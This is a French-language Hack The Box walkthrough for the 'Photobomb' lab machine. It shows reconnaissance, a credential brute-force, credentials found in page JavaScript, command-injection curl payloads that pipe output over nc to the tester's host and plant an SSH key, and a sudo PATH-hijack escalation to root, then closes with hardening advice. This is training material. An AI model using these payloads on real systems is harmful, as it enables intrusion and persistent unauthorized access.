Hack The Box Walkthrough - Photobomb

  • Machine ciblée : Photobomb

  • Répertoire : /home/kali/photobomb

  • Temps passé dessus : 5H

Phase 1 : Reconnaissance

Comme toujours on commence par notre phase de reconnaissance.

┌──(kali㉿kali)-[~]
└─$
name="photobomb"
repository="/home/kali/$name"
ip="10.10.11.182"
cd $repository || mkdir $repository && cd $repository
grep "$ip $name ${name}.htb" /etc/hosts >/dev/null || echo "$ip $name ${name}.htb" | sudo tee -a /etc/hosts
nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap  -Pn -A -T5 -p - -oN $repository/full $ip

┌──(kali㉿kali)-[~/photobomb]
└─$ cat $repository/txt

PORT      STATE    SERVICE   VERSION
22/tcp    open     ssh       OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp    open     http      nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
458/tcp   filtered appleqtc
1044/tcp  filtered dcutility
2007/tcp  filtered dectalk
2045/tcp  filtered cdfunc
2702/tcp  filtered sms-xfer
8654/tcp  filtered unknown
9943/tcp  filtered unknown
49160/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La page de Photobomb

En regardant le report, on voit ici un serveur web. Petite connexion dessus, il s’avère que l’on a un serveur web qui fonctionne sous Sinatra (un dérive de Ruby). Ça se remarque en mettant n’importe quoi après le nom du serveur dans la barre de recherche ex : http://photobomb.htb/kjflkjfdslfkj. On voit également qu’il y a un /printer qui demande une authentification. Un coup de Burp ou de WireShark pour se rendre compte qu’il s’agit d’authentification Basic.
La presence d'authentification basic via Burp
Comme j’y connais rien a ruby, on tente un peu de bruteforce et l’on travaille sur autre chose …

┌──(kali㉿kali)-[~/photobomb]
└─$ patator http_fuzz auth_type=basic url=http://photobomb.htb/printer user_pass=FILE0:FILE1 0=/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt 1=/usr/share/wordlists/rockyou.txt -x ignore:code=401
┌──(kali㉿kali)-[~/photobomb]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://photobomb.htb

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://photobomb.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/10/12 08:23:17 Starting gobuster in directory enumeration mode
===============================================================
/printer              (Status: 401) [Size: 188]
/printers             (Status: 401) [Size: 188]
/printerfriendly      (Status: 401) [Size: 188]
/printer_friendly     (Status: 401) [Size: 188]
/printer_icon         (Status: 401) [Size: 188]
/printer-icon         (Status: 401) [Size: 188]
/printer-friendly     (Status: 401) [Size: 188]
/printerFriendly      (Status: 401) [Size: 188]
[...]

On peut se rendre compte grâce à GoBuster que l’ensemble des fichiers qui matchent le pattern /printer* demandent une authentification. on en conclus que le fichier de connexion doit ressembler a ça : #SpoilerAlert : Pas du tout ! C’est Nginx qui gère l’authentification !

use Rack::Auth::Basic
get '/printer*' do |username, password|
  username == 'admin' && password == 'secret'
  [... le reste du fichier ...]
end

Je pense qu’on peut faire un truc grâce à cette étoile … Mais quoi ? Bah rien en faite, il suffit de repartir à la base. Je dirais même plus, à la source. Si l’on inspecte le code source de la page, on trouve un script javascript. Ce dernier donne en clair les logins/mots de passe pour accéder à la page printer. Ok, dans la vrai vie, ça arriverai pas, mais c’est une machine web et une machine easy !

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Phase 2 : Analyse

N.B: Si vous voulez la jouez réel, il suffit de rajouter le cookie « isPhotoBombTechSupport » à une valeur n’importe style « yes » sur la page par défaut, de réactualiser puis de cliquer sur le click here :)
On a donc les premières credentials, et l’on est connecté à la page « printer ». On regarde un peu comment fonctionne la page, il s’agit d’un formulaire géant qui permet de télécharger des photos. Pour cela, on clique sur une photo, un dimension, un type d’image et en avant. la requête ressemble à ça :

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://photobomb.htb/
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73

photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=jpg&dimensions=10x10

Mais que se passe-t-il si l’on change les paramètres du post ? Disons cmd=id ? On tombe sur la page de debug des erreurs qui nous indique comment fonctionne le code derrière.
La page d'erreur
La page d'erreur avec le filetype
La page d'erreur avec les informations d'environnement
Comme on peut voir les variables d’environnement, on se rends compte que le WEBrick est en version 1.6.0. Petite recherche google, le serveur est vulnérable à la faille CVE-2020-25613 ! Le concept paraissait intéressant, malheureusement, c’est une fausse piste.
Repartons un peu plus haut, on voit qu’il y a 3 champs : le champs photo, le champs filetype et le champs dimensions. Chacun de ces champs dispose d’une regex plus ou moins permissif. Dans le cas du champs photo, s’il détecte un . ou un /, il retourne une erreur 500. Dans le cas du champs dimension, il faut forcément que la valeur est la forme chiffrexchiffre (car contrôle sur le début et la fin de ligne) donc pas bien plus pratique. Par contre, le champs filetype lui est plus permissif. A partir du moment où l’on commence avec png ou jpg, il lance la suite.
On peut donc tenter quelque chose comme ça :

┌──(kali㉿kali)-[~/photobomb]
└─$ nc -lvp 3333 &
listening on [any] 3333 ...
┌──(kali㉿kali)-[~/photobomb]
└─$ curl -X POST -u "pH0t0:b0Mb\!" http://photobomb.htb/printer -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%3b`echo+1|+nc+10.10.14.109+3333`&dimensions=10x10'
connect to [10.10.14.109] from photobomb [10.10.11.182] 46844
1

Notre echo fonctionne, c’est parti pour devenir l’utilisateur !

Phase 3 : User

On va donc partir sur le même fonctionnement qu’au dessus et en nous renvoyant un output à l’aide de nc :

┌──(kali㉿kali)-[~/photobomb]
└─$ nc -lvp 3333 &
┌──(kali㉿kali)-[~/photobomb]
└─$ curl -X POST -u "pH0t0:b0Mb\!" http://photobomb.htb/printer -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%3b`pwd|+nc+10.10.14.109+3333`&dimensions=10x10'
connect to [10.10.14.109] from photobomb [10.10.11.182] 59388
/home/wizard/photobomb
┌──(kali㉿kali)-[~/photobomb]
└─$ nc -lvp 3333 &
┌──(kali㉿kali)-[~/photobomb]
└─$ ssh-keygen -t ed25519 -f ./id_ecdsa -C '' -N '' >/dev/null
┌──(kali㉿kali)-[~/photobomb]
└─$ cat ./id_ecdsa.pub ##Attention, si la clé comporte un "+", il faudra la refaire ! Autrement, le serveur va l'interpreter comme un caractère HTLM " ".
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8IXrtaOA/6cyFuRT3iNgqVTg5oquskijOl7yQVMLwm
┌──(kali㉿kali)-[~/photobomb]
└─$ curl -X POST -u "pH0t0:b0Mb\!" http://photobomb.htb/printer -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%3b`echo+"ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIJ8IXrtaOA/6cyFuRT3iNgqVTg5oquskijOl7yQVMLwm"+|+tee+-a+../.ssh/authorized_keys+|+nc+10.10.14.109+3333`&dimensions=10x10'
connect to [10.10.14.109] from photobomb [10.10.11.182] 35778
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8IXrtaOA/6cyFuRT3iNgqVTg5oquskijOl7yQVMLwm
┌──(kali㉿kali)-[~/photobomb]
└─$ ssh -i ./id_ecdsa  wizard@photobomb.htb
wizard@photobomb:~$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
wizard@photobomb:~$ cat user.txt
3fa7df55ed5b6cc14aab47b82033c0bd

Ok, la clé est ajouté, on a accès au système, et donc on a le premier flag.

Phase 4 : Elevation de privilege

Regardons les trucs de bases :

wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

On a donc un truc à faire par ici pour pouvoir devenir root… Mais quoi ? En étant un peu attentif, on se rends compte que les commandes cat et truncate

wizard@photobomb:~$ cp /usr/bin/bash ./cd
wizard@photobomb:~$ sudo PATH="./:$PATH" /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# cat /root/root.txt #La commande passe bien, ce n'est qu'un soucis de typo du markdown a cause du prompt bash.
c18a36c18b7bf43cfc1e1f2e7fa1b793

Et voilà notre flag root !

Récapitulatif

La box était relativement plaisante à faire. Je suis resté bloqués de nombreuses heures, mais j’ai réussi à me dépanner et à comprendre pas mal de chose quasiment tout seul. Il m’a fallu un coup de main pour le mot de passe initial (qui met ses creds dans un script javascript sérieusement ? …) mais après, j’ai déroulé tout seul. Petite découverte pour le setenv très intéressante.
A noter également, bien que je ne l’ai pas montrer dans ce retour, j’avais pensé à faire un script root.sh.jpg dans le dossier source_images, puis lui appliquer un SUID et le lancer en tant que root. Seulement, le chmod retire les privièges SUID.

A retenir

Faut-il rappeler que l’on ne mets pas des creds en clair où que ce soit ? Pareil, il convient d’éviter de laisser traîner les pages d’erreurs comme on peut le voir si l’on fout un mauvais post. Cela permet de comprendre l’ensemble de la page web derrière très facilement. Comme toujours, sudo est rempli de mauvaise pratique, et l’execution en nopasswd + env_reset + setenv, c’est le mal. Ainsi, on se rappelera de :

  • Durcir le sudoers (l’utilisation du NOPASSWD est quasi inexcusable)

  • Ne pas permettre de Réinitialiser son PATH

  • Dans tes scripts, toujours utiliser des chemins absolus pour les commandes.